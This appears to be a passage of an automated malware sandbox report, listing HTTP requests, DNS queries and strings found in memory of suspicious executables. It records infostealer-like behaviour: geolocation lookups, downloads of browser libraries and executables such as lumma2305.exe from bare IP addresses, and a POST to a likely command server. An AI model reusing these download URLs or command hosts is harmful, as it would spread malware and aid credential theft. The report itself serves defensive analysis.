Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.175 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=8.46.123.175 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.175 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=8.46.123.175 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.175 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=8.46.123.175 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: api.myip.com
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.175 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /sqls.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /freebl3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.175 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /mozglue.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=8.46.123.175 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /msvcp140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.175 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.175 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=8.46.123.175 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /nss3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=8.46.123.175 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /softokn3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.175 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=8.46.123.175 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.175 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.175 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.175 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /profiles/76561199689717899 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /sqls.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174If-Modified-Since: Sun, 19 May 2024 16:18:18 GMTIf-None-Match: "664a264a-258600"Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /freebl3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mozglue.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /msvcp140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /nss3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.175 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=8.46.123.175 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /softokn3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /api/bing_release.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 85.192.56.26
Source: global traffic	HTTP traffic detected: GET /dl.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 185.172.128.159Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /o2i3jroi23joj23ikrjokij3oroi.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 91.202.233.232Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /pelikan HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 176.111.174.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download/123p.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 5.42.66.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download/th/getimage12.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 5.42.66.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /f/oiii.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: f.alie3ksggg.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vape/niko.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 147.45.47.149:54674Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jhgfd HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: fleur-de-lis.sbsCache-Control: no-cacheCookie: _subid=38akcjk2e8lg2; 3c8e6=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wic3RyZWFtc1wiOntcIjI0OVwiOjE3MTY1MzY1MjV9LFwiY2FtcGFpZ25zXCI6e1wiMjVcIjoxNzE2NTM2NTI1fSxcInRpbWVcIjoxNzE2NTM2NTI1fSJ9.j44058psupnUysTtdISWQPrExbM7CT9xTMjMxxQUiB0; _token=uuid_38akcjk2e8lg2_38akcjk2e8lg2665044ce24fd99.54897045
Source: global traffic	HTTP traffic detected: GET /download/th/retail.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 5.42.66.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download/th/space.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 5.42.66.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /xxxxxxxx.jpg HTTP/1.1User-Agent: HTTPREADHost: sta.alie3ksgee.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /aaaaaaaa.jpg HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: sta.alie3ksgee.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /8420e83ceb95f3af/sqlite3.dll HTTP/1.1Host: 185.172.128.170Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /api/bing_release.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 5.42.66.10
Source: global traffic	HTTP traffic detected: GET /8420e83ceb95f3af/freebl3.dll HTTP/1.1Host: 185.172.128.170Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8420e83ceb95f3af/mozglue.dll HTTP/1.1Host: 185.172.128.170Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /lumma2305.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 5.42.65.116Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8420e83ceb95f3af/msvcp140.dll HTTP/1.1Host: 185.172.128.170Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8420e83ceb95f3af/nss3.dll HTTP/1.1Host: 185.172.128.170Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /lumma2305.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 5.42.65.116Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8420e83ceb95f3af/softokn3.dll HTTP/1.1Host: 185.172.128.170Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8420e83ceb95f3af/vcruntime140.dll HTTP/1.1Host: 185.172.128.170Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download/th/Retailer_prog.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 5.42.66.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /lumma2305.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 5.42.65.116Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /lancer/get.php?pid=F8AFCDC4E800A3319FFB343E83099637 HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: cajgtus.com
Source: global traffic	HTTP traffic detected: GET /updates/yd/yt_wrtzr_1/win/version.txt?DsLygfFkDtSUzoPXLskPMSsoCsdOUcoMp HTTP/1.1Accept: /Cache-Control: no-cacheAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: www.rapidfilestorage.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /updates/yd/yt_wrtzr_1/win/version.txt?yridnKKpbdJYVEHZJqSrfasMFFFRjtwTc HTTP/1.1Accept: /Cache-Control: no-cacheAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: helsinki-dtc.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /updates/yd/yt_wrtzr_1/win/version.txt?LFZzyYVkTHiaNSeYFhtmmATBTnawwPTbi HTTP/1.1Accept: /Cache-Control: no-cacheAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: skrptfiles.tracemonitors.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /updates/yd/yt_wrtzr_1/win/version.txt?UpwSZgXsDgQfkvaUXNvOwUFqZvqIRnwsE HTTP/1.1Accept: /Cache-Control: no-cacheAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: www.rapidfilestorage.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /updates/yd/yt_wrtzr_1/win/version.txt HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: www.rapidfilestorage.com
Source: global traffic	HTTP traffic detected: GET /updates/yd/yt_wrtzr_1/win/version.txt?AzauwHpECShdVTwDgNuFnzwhTvPUyzODY HTTP/1.1Accept: /Cache-Control: no-cacheAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: helsinki-dtc.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /updates/yd/yt_wrtzr_1/win/version.txt?LxlZlCxuXYRHbtlzSxncMCSwYMAvxDTkL HTTP/1.1Accept: /Cache-Control: no-cacheAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: skrptfiles.tracemonitors.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /updates/yd/yt_wrtzr_1/win/version.txt HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: helsinki-dtc.com
Source: global traffic	HTTP traffic detected: GET /updates/yd/yt_wrtzr_1/win/version.txt HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: skrptfiles.tracemonitors.com
Source: global traffic	HTTP traffic detected: GET /clrls/cl_rls.json HTTP/1.1Host: www.rapidfilestorage.comConnection: Keep-AliveCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: api.myip.com
Source: global traffic	DNS traffic detected: DNS query: ipinfo.io
Source: global traffic	DNS traffic detected: DNS query: f.alie3ksggg.com
Source: global traffic	DNS traffic detected: DNS query: lop.foxesjoy.com
Source: global traffic	DNS traffic detected: DNS query: vk.com
Source: global traffic	DNS traffic detected: DNS query: monoblocked.com
Source: global traffic	DNS traffic detected: DNS query: fleur-de-lis.sbs
Source: global traffic	DNS traffic detected: DNS query: kurd.computer
Source: global traffic	DNS traffic detected: DNS query: f.123654987.xyz
Source: global traffic	DNS traffic detected: DNS query: sun6-23.userapi.com
Source: global traffic	DNS traffic detected: DNS query: sun6-21.userapi.com
Source: global traffic	DNS traffic detected: DNS query: sun6-22.userapi.com
Source: global traffic	DNS traffic detected: DNS query: sun6-20.userapi.com
Source: global traffic	DNS traffic detected: DNS query: sta.alie3ksgee.com
Source: global traffic	DNS traffic detected: DNS query: iplis.ru
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: api.2ip.ua
Source: global traffic	DNS traffic detected: DNS query: iplogger.org
Source: global traffic	DNS traffic detected: DNS query: db-ip.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: employhabragaomlsp.shop
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: cajgtus.com
Source: global traffic	DNS traffic detected: DNS query: service-domain.xyz
Source: global traffic	DNS traffic detected: DNS query: www.rapidfilestorage.com
Source: global traffic	DNS traffic detected: DNS query: helsinki-dtc.com
Source: global traffic	DNS traffic detected: DNS query: skrptfiles.tracemonitors.com
Source: global traffic	DNS traffic detected: DNS query: api4.check-data.xyz

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DBKFIDAAEHIEGCBFIDBFUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0Host: 78.47.123.174Content-Length: 279Connection: Keep-AliveCache-Control: no-cache

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Fri, 24 May 2024 07:42:08 GMTserver: LiteSpeedalt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 24 May 2024 07:42:07 GMTContent-Type: text/htmlConnection: closeCF-Cache-Status: EXPIREDServer: cloudflareCF-RAY: 888ba5ae49a380dc-EWR
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 24 May 2024 07:42:09 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeCF-Cache-Status: HITAge: 2Server: cloudflareCF-RAY: 888ba5be1b9a726b-EWR

Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2108127114.0000000001A0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.102:57893/cost/go.exe
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2108127114.0000000001A0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.102:57893/cost/go.exe92.168.0
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2108127114.0000000001A0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.102:57893/cost/lenin.exe
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2108127114.0000000001A0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.102:57893/cost/lenin.exeg
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2108127114.0000000001A0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.102:57893/hera/amadka.exe
Source: BI6oo9z4In.exe, 00000000.00000003.1773128620.0000000002B7E000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1811531065.0000000002BAC000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1810569217.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1747442558.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1769757377.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1810797431.0000000002BAA000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1742834557.0000000002BA1000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1773128620.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1748785215.0000000004482000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1775481319.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1748963991.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1750695807.0000000004482000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1746277754.0000000004473000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1745717718.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1775050352.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1745501993.0000000004478000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.149:54674/vape/niko.exe
Source: BI6oo9z4In.exe, 00000000.00000003.1742659639.0000000002B9A000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1742871924.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1742834557.0000000002BA1000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1745717718.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.149:54674/vape/niko.exe0/
Source: BI6oo9z4In.exe, 00000000.00000003.1751466484.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1748963991.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.149:54674/vape/niko.exeB
Source: BI6oo9z4In.exe, 00000000.00000003.1737215809.0000000002B9A000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1769527391.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1751466484.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1742659639.0000000002B9A000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1756455645.0000000002BA4000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1742871924.0000000002BA3000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1811531065.0000000002BAC000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 00000000.00000003.1810569217.0000000002B98000.00000004.00000020.00020000.00000000.sdmp, BI6oo9z4In.exe, 